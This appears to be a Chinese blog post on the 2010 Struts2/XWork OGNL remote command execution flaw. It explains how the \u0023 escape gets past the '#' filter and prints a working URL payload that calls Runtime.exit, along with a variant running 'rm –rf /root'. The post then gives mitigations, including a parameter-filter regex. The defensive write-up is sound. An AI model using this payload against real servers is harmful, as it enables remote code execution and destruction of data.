phpstrus2漏洞攻击_struts2漏洞攻击方法与解决方案

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。

漏洞名称&＃xff1a;Struts2/XWork <2.2.0 Remote Command Execution Vulnerability

相关介绍&＃xff1a;

http://www.exploit-db.com/exploits/14360/

http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架&＃xff0c;处理 action时通过调用底层的getter/setter方法来处理http的参数&＃xff0c;它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数&＃xff1a;

Java代码  

?user.address.city&＃61;Bishkek&user[&＃39;favoriteDrink&＃39;]&＃61;kumys

ONGL将它转换为&＃xff1a;

Java代码  

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor(参数过滤器)来执行的&＃xff0c;使用用户提供的HTTP参数调用 ValueStack.setValue()。

为了防范篡改服务器端对象&＃xff0c;XWork的ParametersInterceptor不允许参数名中出现“#”字符&＃xff0c;但如果使用了Java的 unicode字符串表示\u0023&＃xff0c;攻击者就可以绕过保护&＃xff0c;修改保护Java方式执行的值&＃xff1a;

此处代码有破坏性&＃xff0c;请在测试环境执行&＃xff0c;严禁用此种方法进行恶意攻击

Java代码  

?(&＃39;\u0023_memberAccess[\&＃39;allowStaticMethodAccess\&＃39;]&＃39;)(meh)&＃61;true&(aaa)((&＃39;\u0023context[\&＃39;xwork.MethodAccessor.denyMethodExecution\&＃39;]\u003d\u0023foo&＃39;)(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)((&＃39;\u0023rt.exit(1)&＃39;)(\u0023rt\u003d&＃64;java.lang.Runtime&＃64;getRuntime()))&＃61;1

转义后是这样&＃xff1a;

Java代码  

?(&＃39;#_memberAccess[&＃39;allowStaticMethodAccess&＃39;]&＃39;)(meh)&＃61;true&(aaa)((&＃39;#context[&＃39;xwork.MethodAccessor.denyMethodExecution&＃39;]&＃61;#foo&＃39;)(#foo&＃61;new%20java.lang.Boolean("false")))&(asdf)((&＃39;#rt.exit(1)&＃39;)(#rt&＃61;&＃64;java.lang.Runtime&＃64;getRuntime()))&＃61;1

OGNL处理时最终的结果就是

Java代码  

java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

Java代码  

java.lang.Runtime.getRuntime().exec("rm –rf /root")

&＃xff0c;只要有权限就可以删除任何一个目录。

目前尝试了3个解决方案&＃xff1a;

1.升级到struts2.2版本。

这个可以避免这个问题&＃xff0c;但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release)&＃xff0c;经我测试发现新版本虽然解决了上述的漏洞&＃xff0c;但是新的问题是strus标签出问题了。

Java代码  

这样的标签在struts2.0中是可以使用的&＃xff0c;但是新版中就不解析了&＃xff0c;原因就是“#”的问题导致的&＃xff0c;补了漏洞&＃xff0c;正常的使用也用不了了。

所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。

Java代码  

.*\\u0023.*

这个可以解决漏洞问题&＃xff0c;缺点是工作量大&＃xff0c;每个项目都得改struts配置文件。如果项目里&＃xff0c;是引用的一个类似global.xml的配置文件&＃xff0c;工作量相应减少一些。

3.在前端请求进行过滤。

比如在ngnix&＃xff0c;apache进行拦截&＃xff0c;参数中带有\u0023的一律视为攻击&＃xff0c;跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。

请求如果是get方式&＃xff0c;可以进行过滤&＃xff0c;如果是post方式就过滤不到了&＃xff0c;所以还是应该修改配置文件或更新新的jar包。

目前来看后两种是比较有效的方法&＃xff0c;采用第三种方法比较简便。是否有另外的解决办法&＃xff0c;欢迎大家讨论。

我并没有在windows环境下测试&＃xff0c;有同学在windows下没有试验成功&＃xff0c;这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在&＃xff0c;咱们就要重视对吧。欢迎大家测试&＃xff0c;是否windows下漏洞不能执行成功。